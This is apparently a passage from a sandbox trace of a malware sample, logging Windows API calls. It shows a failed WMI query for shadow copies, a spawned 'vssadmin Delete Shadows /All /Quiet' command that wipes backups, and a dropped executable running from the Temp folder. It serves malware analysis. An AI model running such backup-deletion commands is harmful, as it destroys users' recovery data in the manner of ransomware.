BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0046.182] free (_Block=0x2472448) [0046.182] CloseHandle (hObject=0x290) returned 1 [0046.182] lstrlenW (lpString="GET") returned 3 [0046.182] lstrlenW (lpString="DELETE") returned 6 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0046.182] lstrlenW (lpString="LIST") returned 4 [0046.182] lstrlenW (lpString="DELETE") returned 6 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0046.182] lstrlenW (lpString="SET") returned 3 [0046.182] lstrlenW (lpString="DELETE") returned 6 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0046.182] lstrlenW (lpString="CALL") returned 4 [0046.182] lstrlenW (lpString="DELETE") returned 6 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0046.182] lstrlenW (lpString="ASSOC") returned 5 [0046.182] lstrlenW (lpString="DELETE") returned 6 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0046.182] lstrlenW (lpString="CREATE") returned 6 [0046.183] lstrlenW (lpString="DELETE") returned 6 [0046.183] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0046.183] lstrlenW (lpString="DELETE") returned 6 [0046.183] lstrlenW (lpString="DELETE") returned 6 [0046.183] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0046.184] malloc (_Size=0xc) returned 0x2472078 [0046.184] lstrlenA (lpString="") returned 0 [0046.184] malloc (_Size=0x2) returned 0x8d2860 [0046.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e26a2, cbMultiByte=-1, lpWideCharStr=0x8d2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0046.184] free (_Block=0x8d2860) [0046.184] malloc (_Size=0xc) returned 0x24720c0 [0046.184] lstrlenA (lpString="") returned 0 [0046.184] malloc (_Size=0x2) returned 0x8d2860 [0046.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e26a2, cbMultiByte=-1, lpWideCharStr=0x8d2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0046.184] free (_Block=0x8d2860) [0046.184] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0046.184] malloc (_Size=0x3e) returned 0x8dff68 [0046.184] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0046.184] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x1dc92cf6 | out: _String="Select", _Context=0x1dc92cf6) returned="Select" [0046.184] malloc (_Size=0xc) returned 0x2472168 [0046.184] free (_Block=0x24720c0) [0046.185] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1dc92cf6 | out: _String=0x0, _Context=0x1dc92cf6) returned="*" [0046.185] lstrlenW (lpString="FROM") returned 4 [0046.185] lstrlenW (lpString="*") returned 1 [0046.185] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0046.185] malloc (_Size=0xc) returned 0x24720c0 [0046.185] free (_Block=0x2472168) [0046.185] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1dc92cf6 | out: _String=0x0, _Context=0x1dc92cf6) returned="from" [0046.185] lstrlenW (lpString="FROM") returned 4 [0046.185] lstrlenW (lpString="from") returned 4 [0046.185] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0046.185] malloc (_Size=0xc) returned 0x2472168 [0046.185] free (_Block=0x24720c0) [0046.185] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1dc92cf6 | out: _String=0x0, _Context=0x1dc92cf6) returned="Win32_ShadowCopy" [0046.185] malloc (_Size=0xc) returned 0x24720c0 [0046.185] free (_Block=0x2472168) [0046.185] free (_Block=0x8dff68) [0046.185] malloc (_Size=0xc) returned 0x2472168 [0046.185] malloc (_Size=0xc) returned 0x24720a8 [0046.185] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0046.185] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0046.185] free (_Block=0x2472078) [0046.186] free (_Block=0x2472168) [0046.186] ??0CHString@@QAE@XZ () returned 0xefccc [0046.186] GetCurrentThreadId () returned 0xa1c [0046.186] malloc (_Size=0xc) returned 0x2472168 [0046.186] malloc (_Size=0xc) returned 0x2472078 [0046.186] malloc (_Size=0xc) returned 0x2472108 [0046.186] malloc (_Size=0xc) returned 0x2472120 [0046.186] malloc (_Size=0xc) returned 0x2472138 [0046.186] SysStringLen (param_1="\\\\") returned 0x2 [0046.186] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0046.186] malloc (_Size=0xc) returned 0x2472150 [0046.186] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0046.186] SysStringLen (param_1="\\") returned 0x1 [0046.186] malloc (_Size=0xc) returned 0x2472180 [0046.186] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0046.186] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0046.186] free (_Block=0x2472150) [0046.186] free (_Block=0x2472138) [0046.187] free (_Block=0x2472120) [0046.187] free (_Block=0x2472108) [0046.187] free (_Block=0x2472078) [0046.187] free (_Block=0x2472168) [0046.187] malloc (_Size=0xc) returned 0x2472168 [0046.187] malloc (_Size=0xc) returned 0x2472078 [0046.187] malloc (_Size=0xc) returned 0x2472108 [0046.187] WbemLocator:IWbemLocator:ConnectServer (in: This=0x310828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x22c204 | out: ppNamespace=0x22c204*=0x31d0bc) returned 0x0 [0046.218] free (_Block=0x2472108) [0046.218] free (_Block=0x2472078) [0046.218] free (_Block=0x2472168) [0046.218] CoSetProxyBlanket (pProxy=0x31d0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0046.218] free (_Block=0x2472180) [0046.218] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.219] ??0CHString@@QAE@XZ () returned 0xefcc4 [0046.219] GetCurrentThreadId () returned 0xa1c [0046.219] malloc (_Size=0xc) returned 0x2472180 [0046.219] lstrlenA (lpString="") returned 0 [0046.219] malloc (_Size=0x2) returned 0x8d2860 [0046.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e26a2, cbMultiByte=-1, lpWideCharStr=0x8d2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0046.219] free (_Block=0x8d2860) [0046.219] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0046.219] SysStringLen (param_1="") returned 0x0 [0046.219] free (_Block=0x2472180) [0046.219] malloc (_Size=0xc) returned 0x2472180 [0046.219] IWbemServices:ExecQuery (in: This=0x31d0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0xefcc0 | out: ppEnum=0xefcc0*=0x0) returned 0x80041014 [0047.538] free (_Block=0x2472180) [0047.538] _CxxThrowException () [0047.538] malloc (_Size=0x10) returned 0x2472180 [0047.538] ??1CHString@@QAE@XZ () returned 0x74290504 [0047.538] free (_Block=0x24720c0) [0047.538] free (_Block=0x24720a8) [0047.538] GetCurrentThreadId () returned 0xa1c [0047.538] ??0CHString@@QAE@PBG@Z () returned 0xefd84 [0047.538] ??YCHString@@QAEABV0@PBG@Z () returned 0xefd84 [0047.538] ??0CHString@@QAE@XZ () returned 0xefc48 [0047.538] malloc (_Size=0xc) returned 0x24720a8 [0047.539] malloc (_Size=0xc) returned 0x24720c0 [0047.539] SysStringLen (param_1="") returned 0x0 [0047.539] free (_Block=0x24720a8) [0047.539] CoCreateInstance (in: rclsid=0x1e6cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1e6c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x22c21c | out: ppv=0x22c21c*=0x310810) returned 0x0 [0047.542] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x310810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xefc60 | out: MessageText=0xefc60*="Initialization failure\r\n") returned 0x0 [0047.545] free (_Block=0x24720c0) [0047.545] malloc (_Size=0xc) returned 0x24720c0 [0047.545] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x310810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xefc84 | out: MessageText=0xefc84*="WMI") returned 0x0 [0047.546] malloc (_Size=0xc) returned 0x24720a8 [0047.546] lstrlenW (lpString="WMI") returned 3 [0047.546] lstrlenW (lpString="Wbem") returned 4 [0047.546] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0047.546] lstrlenW (lpString="WMI") returned 3 [0047.546] lstrlenW (lpString="WMI") returned 3 [0047.546] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0047.546] WbemStatusCodeText:IUnknown:Release (This=0x310810) returned 0x0 [0047.546] ??1CHString@@QAE@XZ () returned 0x74290504 [0047.546] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0xef4b0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0047.546] FormatMessageW (in: dwFlags=0x2500, lpSource=0xef4b0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0xef4ac, nSize=0x0, Arguments=0xef498 | out: lpBuffer="粸kERROR:\r\nDescription = %1") returned 0x2e [0047.546] malloc (_Size=0xc) returned 0x2472168 [0047.546] LocalFree (hMem=0x6b7cb8) returned 0x0 [0047.546] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0047.546] malloc (_Size=0x2f) returned 0x2472448 [0047.546] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x2472448, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0047.547] fprintf (in: _File=0x76be2940, _Format="%s" | out: _File=0x76be2940) returned 46 [0047.549] fflush (in: _File=0x76be2940 | out: _File=0x76be2940) returned 0 [0047.549] free (_Block=0x2472448) [0047.549] free (_Block=0x2472168) [0047.549] free (_Block=0x24720a8) [0047.549] free (_Block=0x24720c0) [0047.549] ??1CHString@@QAE@XZ () returned 0x1 [0047.549] ??0CHString@@QAE@PBG@Z () returned 0xefda4 [0047.549] ??YCHString@@QAEABV0@PBG@Z () returned 0xefda4 [0047.549] GetCurrentThreadId () returned 0xa1c [0047.549] ??1CHString@@QAE@XZ () returned 0x1 [0047.549] WbemLocator:IUnknown:Release (This=0x31d0bc) returned 0x0 [0047.549] ?Empty@CHString@@QAEXXZ () returned 0x74290504 [0047.549] free (_Block=0x2472180) [0047.550] _kbhit () returned 0x0 [0047.552] free (_Block=0x8d3228) [0047.552] free (_Block=0x2472060) [0047.552] free (_Block=0x8dfe88) [0047.552] free (_Block=0x8dfe70) [0047.552] free (_Block=0x8dfe58) [0047.552] free (_Block=0x8d31c8) [0047.553] free (_Block=0x8deb88) [0047.553] free (_Block=0x8dff30) [0047.553] free (_Block=0x24720d8) [0047.553] free (_Block=0x8dfeb0) [0047.553] free (_Block=0x24720f0) [0047.553] free (_Block=0x8debc8) [0047.553] free (_Block=0x8dff20) [0047.553] free (_Block=0x8d2ee0) [0047.553] free (_Block=0x8dfef8) [0047.553] ?Empty@CHString@@QAEXXZ () returned 0x74290504 [0047.553] free (_Block=0x8d31f8) [0047.553] free (_Block=0x8deba8) [0047.553] free (_Block=0x2472090) [0047.553] free (_Block=0x8d2788) [0047.553] free (_Block=0x8d27d0) [0047.553] free (_Block=0x8d2818) [0047.553] free (_Block=0x8debe8) [0047.553] free (_Block=0x8d28c8) [0047.553] free (_Block=0x8d2ec8) [0047.553] free (_Block=0x8de8c8) [0047.553] free (_Block=0x8d2eb0) [0047.553] free (_Block=0x8de8a8) [0047.553] free (_Block=0x8d2e98) [0047.553] free (_Block=0x8de888) [0047.553] free (_Block=0x8d2a10) [0047.553] free (_Block=0x8d2a28) [0047.553] free (_Block=0x8d29d8) [0047.553] free (_Block=0x8d29f0) [0047.553] free (_Block=0x8d2a48) [0047.554] free (_Block=0x8d2a60) [0047.554] free (_Block=0x8d2a80) [0047.554] free (_Block=0x8de868) [0047.554] free (_Block=0x8d2968) [0047.554] free (_Block=0x8d2980) [0047.554] free (_Block=0x8d2930) [0047.554] free (_Block=0x8d2948) [0047.554] free (_Block=0x8d29a0) [0047.554] free (_Block=0x8d29b8) [0047.554] free (_Block=0x8d28f8) [0047.554] free (_Block=0x8d2910) [0047.554] free (_Block=0x8d2880) [0047.554] free (_Block=0x8d3fb8) [0047.554] free (_Block=0x24705b0) [0047.554] WbemLocator:IUnknown:Release (This=0x310828) returned 0x2 [0047.554] WbemLocator:IUnknown:Release (This=0x31d064) returned 0x0 [0047.554] WbemLocator:IUnknown:Release (This=0x31d00c) returned 0x0 [0047.555] WbemLocator:IUnknown:Release (This=0x310828) returned 0x1 [0047.555] ?Empty@CHString@@QAEXXZ () returned 0x74290504 [0047.555] WbemLocator:IUnknown:Release (This=0x310828) returned 0x0 [0047.555] free (_Block=0x8dfdf8) [0047.555] free (_Block=0x8dfe10) [0047.555] free (_Block=0x8deb48) [0047.555] free (_Block=0x8dfe28) [0047.555] free (_Block=0x8dfe40) [0047.555] free (_Block=0x8deb68) [0047.555] free (_Block=0x8dfcd8) [0047.555] free (_Block=0x8dfcf0) [0047.555] free (_Block=0x8dea88) [0047.555] free (_Block=0x8dfd08) [0047.555] free (_Block=0x8dfd20) [0047.555] free (_Block=0x8deaa8) [0047.555] free (_Block=0x8dfc78) [0047.555] free (_Block=0x8dfc90) [0047.555] free (_Block=0x8dea48) [0047.556] free (_Block=0x8dfca8) [0047.556] free (_Block=0x8dfcc0) [0047.556] free (_Block=0x8dea68) [0047.556] free (_Block=0x8dfd98) [0047.556] free (_Block=0x8dfdb0) [0047.556] free (_Block=0x8deb08) [0047.556] free (_Block=0x8dfdc8) [0047.556] free (_Block=0x8dfde0) [0047.556] free (_Block=0x8deb28) [0047.556] free (_Block=0x8dfc18) [0047.556] free (_Block=0x8dfc30) [0047.556] free (_Block=0x8dea08) [0047.556] free (_Block=0x8dfc48) [0047.556] free (_Block=0x8dfc60) [0047.556] free (_Block=0x8dea28) [0047.556] free (_Block=0x8dfd38) [0047.556] free (_Block=0x8dfd50) [0047.556] free (_Block=0x8deac8) [0047.556] free (_Block=0x8dfd68) [0047.556] free (_Block=0x8dfd80) [0047.556] free (_Block=0x8deae8) [0047.557] free (_Block=0x8dfb88) [0047.557] free (_Block=0x8dfba0) [0047.557] free (_Block=0x8de9a8) [0047.557] free (_Block=0x8d3160) [0047.557] free (_Block=0x8d3178) [0047.557] free (_Block=0x8de908) [0047.557] free (_Block=0x8d2f28) [0047.557] free (_Block=0x8d2f40) [0047.557] free (_Block=0x8de8e8) [0047.557] free (_Block=0x8dfaf8) [0047.557] free (_Block=0x8dfb10) [0047.557] free (_Block=0x8de948) [0047.557] free (_Block=0x8dfbb8) [0047.557] free (_Block=0x8dfbd0) [0047.557] free (_Block=0x8de9c8) [0047.557] free (_Block=0x8dfac8) [0047.557] free (_Block=0x8dfae0) [0047.557] free (_Block=0x8de928) [0047.557] free (_Block=0x8dfb28) [0047.557] free (_Block=0x8dfb40) [0047.557] free (_Block=0x8de968) [0047.557] free (_Block=0x8dfb58) [0047.558] free (_Block=0x8dfb70) [0047.558] free (_Block=0x8de988) [0047.558] free (_Block=0x8dfbe8) [0047.558] free (_Block=0x8dfc00) [0047.558] free (_Block=0x8de9e8) [0047.558] CoUninitialize () [0047.599] exit (_Code=-2147217388) [0047.599] free (_Block=0x8d3190) [0047.599] free (_Block=0x8d3e88) [0047.599] ??1CHString@@QAE@XZ () returned 0x74290504 [0047.599] free (_Block=0x8d3000) [0047.599] free (_Block=0x8d28e8) [0047.599] free (_Block=0x8d3e68) [0047.599] free (_Block=0x8d3e48) [0047.599] free (_Block=0x8d3e18) [0047.599] free (_Block=0x8d3df8) [0047.599] free (_Block=0x8d3dc8) [0047.599] free (_Block=0x8d13d8) [0047.599] free (_Block=0x8d13b8) [0047.599] ??1CHString@@QAE@XZ () returned 0x74290504 [0047.599] free (_Block=0x8d2f58) Thread: id = 40 os_tid = 0xaec Thread: id = 60 os_tid = 0x82c Thread: id = 63 os_tid = 0x87c Thread: id = 64 os_tid = 0x88c Thread: id = 65 os_tid = 0x84c Process: id = "14" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x31b97000" os_pid = "0xa8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x90c" cmd_line = "vssadmin Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xa9c Thread: id = 39 os_tid = 0xadc Thread: id = 41 os_tid = 0xafc Thread: id = 42 os_tid = 0xb0c Thread: id = 43 os_tid = 0xb1c Process: id = "15" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x33a20000" os_pid = "0xb3c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007009b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 44 os_tid = 0xa90 Thread: id = 45 os_tid = 0x4f4 Thread: id = 46 os_tid = 0x6c8 Thread: id = 47 os_tid = 0xbf0 [0039.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe3dac0 | out: lpSystemTimeAsFileTime=0xe3dac0*(dwLowDateTime=0x3ad708c0, dwHighDateTime=0x1d5ddc0)) [0039.885] GetCurrentProcessId () returned 0xb3c [0039.885] GetCurrentThreadId () returned 0xbf0 [0039.885] GetTickCount () returned 0x1153988 [0039.885] QueryPerformanceCounter (in: lpPerformanceCount=0xe3dac8 | out: lpPerformanceCount=0xe3dac8*=18165177459) returned 1 [0039.886] malloc (_Size=0x100) returned 0x358e80 [0068.808] free (_Block=0x358e80) Thread: id = 48 os_tid = 0xb5c Thread: id = 49 os_tid = 0xb50 Thread: id = 50 os_tid = 0xb4c Thread: id = 52 os_tid = 0x788 Thread: id = 211 os_tid = 0x67c Process: id = "16" image_name = "$tmp$001.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\$tmp$001.exe" page_root = "0x3265a000" os_pid = "0x930" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xab0" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0x6fc [0040.043] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0040.044] GetKeyboardType (nTypeFlag=0) returned 4 [0040.044] GetCommandLineA () returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" [0040.044] GetStartupInfoA (in: lpStartupInfo=0x18fee8 | out: lpStartupInfo=0x18fee8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0040.044] GetACP () returned 0x4e4 [0040.044] GetCurrentThreadId () returned 0x6fc [0040.044] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18edd8, nSize=0x105 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\$tmp$001.exe")) returned 0x31 [0040.044] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18ecb3, nSize=0x105 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\$tmp$001.exe")) returned 0x31 [0040.045] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edc8 | out: phkResult=0x18edc8*=0x0) returned 0x2 [0040.048] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edc8 | out: phkResult=0x18edc8*=0x0) returned 0x2 [0040.048] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edc8 | out: phkResult=0x18edc8*=0x0) returned 0x2 [0040.048] lstrcpynA (in: lpString1=0x18ecb3, lpString2="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe") returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe" [0040.048] GetThreadLocale () returned 0x409 [0040.048] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x18edc3, cchData=5 | out: lpLCData="ENU") returned 4 [0040.049] lstrlenA (lpString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.exe") returned 49 [0040.049] lstrcpynA (in: lpString1=0x18ece1, lpString2="ENU", iMaxLength=215 | out: lpString1="ENU") returned="ENU" [0040.049] LoadLibraryExA (lpLibFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0040.050] lstrcpynA (in: lpString1=0x18ece1, lpString2="EN", iMaxLength=215 | out: lpString1="EN") returned="EN" [0040.050] LoadLibraryExA (lpLibFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\$TMP$001.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0040.050] LoadStringA (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0040.050] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x420000 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffef, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18ef08, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0040.051] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18ef08, cchBufferMax=4096 